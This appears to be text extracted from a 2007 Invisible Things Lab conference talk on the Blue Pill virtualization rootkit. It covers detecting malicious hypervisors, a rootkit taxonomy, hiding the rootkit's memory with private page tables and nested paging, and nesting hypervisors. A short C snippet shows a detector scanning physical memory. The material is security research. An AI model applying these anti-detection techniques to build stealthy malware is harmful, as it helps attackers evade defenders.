So we discussed several approaches to generically detect the presence of a VMM...

... but in many cases the presence of VMM is not a result of malicious hypervisor, like Blue Pill, but rather a legitimate one!

Virtualization is being more and more common

  In the near future everything will be virtualized!

Thus concluding that system is compromised from the fact that we detected a VMM, is very naive

  So we could as well skipped this whole part, if we were more radical ;)

We will get back to this in a moment...
Detection

Detect the presence of VMM (Virtual Machine Manager)

Detect Virtualization-Based Malware (explicitly)
No hooking principle

- So what so special about BP?
- That it doesn’t hook even a single byte!
- Other rootkits need to hook something in the system code or at least in OS data sections...
  - thus we can always detect them (although this is very hard to do in a generic way)

- It’s an example of type III malware...
Type I Malware

KERNEL

CODING

MALWARE

CPU "SYSTEM" REGISTERS

DATA

PROCESS 1

MALWARE

DATA

PROCESS 2

MALWARE

Hooking places

© Invisible Things Lab, 2007
Type II Malware

Hooking places (only data sections are hooked this time)
Type III Malware

KERNEL

CODE

CPU “SYSTEM” REGISTERS

DATA

MALWARE

PROCESS 1

CODE

DATA

PROCESS 2

CODE

DATA

No Hooks!
A perfect Integrity Scanner

- Imagine a complete kernel integrity scanner,
  - Something like Patch Guard or SVV, but complete,
- Such scanner would be able to detect any type I and type II kernel infections,
  - We also assume a reliable memory acquisition used,
- In other words – the Holy Grail of rootkit hunters!
- But it still will not be able to detect Type III infections!
However the A/V industry take a different approach...
They try to find suspicious things, e.g. in memory...
Approaches used to find those bad things:
- Signatures (do not work against targeted attacks)
- Heuristics
- Smart heuristics based on code emulation and some kind of behavior analysis, e.g.:
  - does this code behaves like if it was a BP hypervisor?
  - But note, how challenging it is to find out that a given code behaves like a malicious hypervisor (and not just like a hypervisor)!
BP Detection via heuristics

- Do those bytes look like machine code?
- And they do not belong to a code section of any known kernel module?
- And they actually \textit{behave} like if they were a hypervisor?
  - e.g. they check VMCB.EXITINFO, etc.

- This could be used to find Blue Pill code in memory
- But can also be cheated in many simple ways
- But we would like a more generic solution to hide Blue Pill, something not based on a concept...
Memory Hiding

How to hide the blue pill’s code?
Private Page Tables

CR3_{BP} → Blue Pill hypervisor → CR3_{OS} → Guest OS

© Invisible Things Lab, 2007
BP’s private page tables

- BP’s hypervisor uses its own private CR3 and its own private Page Tables
  - CR3 reloading is handled by the processor automatically
- Gust PTs do not point to any of the BP’s pages
  - All PTEs from guest that were used to setup BP pages are then patched to point to some other pages (“garbage”)
Guest allocate a page using OS API,
And then patch the page’s PTE to point to arbitrary physical address...

```c
page = Alloc4kPage();
pPTE = GetPTE(page);
for (i = 0; i < LastPhysPage; i++) {
    PatchPTE (pPTE, i*PAGE_SIZE);
    ReadMemory (page, PAGE_SIZE);
}
```
Problems with using private PTE for scanning physical memory

- TLB pollution
  - Detector can not know the attributes that each physical page is mapped with by the OS – it may introduce cause TLB inconsistencies leading to system crash

- Page permutations
  - Detector sees pages “randomly” scattered in physical space, while BP sees them “in order” in linear space.
  - BP’s code uses about 16 pages :)

- Finding VMCB by pattern searching
  - Zeroing VMCB

- Finding HSA by pattern searching
  - HSA is undocumented and subject to change from one processor model to another ...
Shadow Paging/Nested Paging

- Shadow Paging refers to software method for creating the virtualized physical space for the guest:
  - Used by most commercial VMMs
  - Guest’s PTs kept in read-only memory – each write-access triggers #PF which is handled by hypervisor
  - Difficult to implement correctly
  - Subject to DoS attacks (malicious guest memory accesses might cause huge performance impact)

- Nested Paging is a new hardware technology from AMD for implementing SPT.
  - Introduced in Barcelona
  - Much easier to implement, much lower performance impact
SPT/NPT in BP

- Avoiding physical memory scanning with "Patched PTE",
- Ability to cheat “Adams’ pill” – like attacks (see before)
- Lack of IOMMU still makes it (theoretically) possible to scan hypervisor physical memory
  - However, it’s hard to imagine a detector exploiting this technique – this would be insane!
- Overall: NPT should be implemented at some stage to defeat against detectors that became mature enough and use “Patched PTEs” technique for scanning...
Nested Hypervisors

How many blue pills can you run inside each other?
Supporting Nested VMMs

- If Blue Pill didn’t support creation of nested VMMs,
  ... then it would be trivial to detect it by tiring to create a test virtual machine...

- Our New Blue Pill supports nested hypervisors
- In other words you can install a hypervisor as a Blue Pill’s guest!
  - Think: Blue Pill inside Blue Pill :)

© Invisible Things Lab, 2007
Supporting nested VMMs – idea

source: J. Rutkowska, Black Hat USA 2006, © Black Hat

© Invisible Things Lab, 2007
Yes we can run many Blue Pills inside each other!
This actually works :)
Yesterday, during our training, several people managed
to run > 20 Blue Pills inside each other!

The only limitation is available amount of resources
  In case of the training class the bottleneck was caused by
  the ComPrint()’s, which are used for testing
  In practice, we should only be able to run one nested
  hypervisor inside our Blue Pill
Virtual PC 2007/ Server 2005 R2

Host’s Ring 0

SVME = 1

VPC VMM (ring -1 for VPC guests)

Host’s Ring 3

SVME = 1

VPC guest 1

SVME = 0

VPC guest 2

SVME = 0
When VS 2005 R2 is installed, SVME is always set! :) 
This means that we can install Blue Pill and do not care about intercepting EFER accesses anymore!
All the detection methods discussed before (that focus on generic VMM detection), do not work now!
Bluepilling Virtual PC/Server?

Blue Pill (Host's ring -1)

Host's Ring 0

VPC VMM (ring -1 for VPC guests)

SVME = 1

Host's Ring 3

VPC guest 1

SVME = 0

VPC guest 2

SVME = 0
Nested VPC: current state

- We have implemented GIF=0 emulation for calling nested hypervisor
- We collect all the interrupts (and do not pass them to the nested h/v)...
- ... until it executes STGI
- Then we try to inject the collected interrupts into the nested h/v...
- ... and this is where we still fail ;(
- So currently you can run VPC under BP only until its guest switches to Protected Mode, then it crashes after a few msec... :/
The Blue Pill Project

- Try the New Blue Pill yourself!
  - Plus try some SVM detectors

- http://bluepillproject.org

- You will find this presentation there as well
Virtualization technology is great and has many legitimate usages,

“Blue Pill” threat is not a result of virtualization technology,

It’s a result of introducing some mechanisms too early, so the OS vendors didn’t have time to implement proper protection technologies,

Just the fact that you use virtualization (e.g. server virtualization), doesn’t increase the risk – it might actually decrease it if you use type I hypervisors…
We believe it's not possible to implement effective kernel protection on General Purpose OSes based on a macrokernel (monolithic) architecture.

SVM detection is not equal to Blue Pill detection.

- Especially tomorrow, when "virtualization will be used everywhere".

Most of the SVM detection approaches (even those using external time source) can be defeated.

BP can hide itself in memory using various approaches.

- Nested Paging should offer the best results, but will be available only in Barcelona processors.
References

- J. Rutkowska, Subverting Vista Kernel For Fun And Profit, Black Hat USA 2006,
- Tal Garfinkel et al., Compatibility is Not Transparency: VMM Detection Myths and Realities, HotOS 2007,
- Keith Adams, Blue Pill Detection In Two Easy Steps, July 2007,
- Edgar Barbosa, Blue Pill Detection, SyScan 2007,
Thank You!

http://invisiblethingslab.com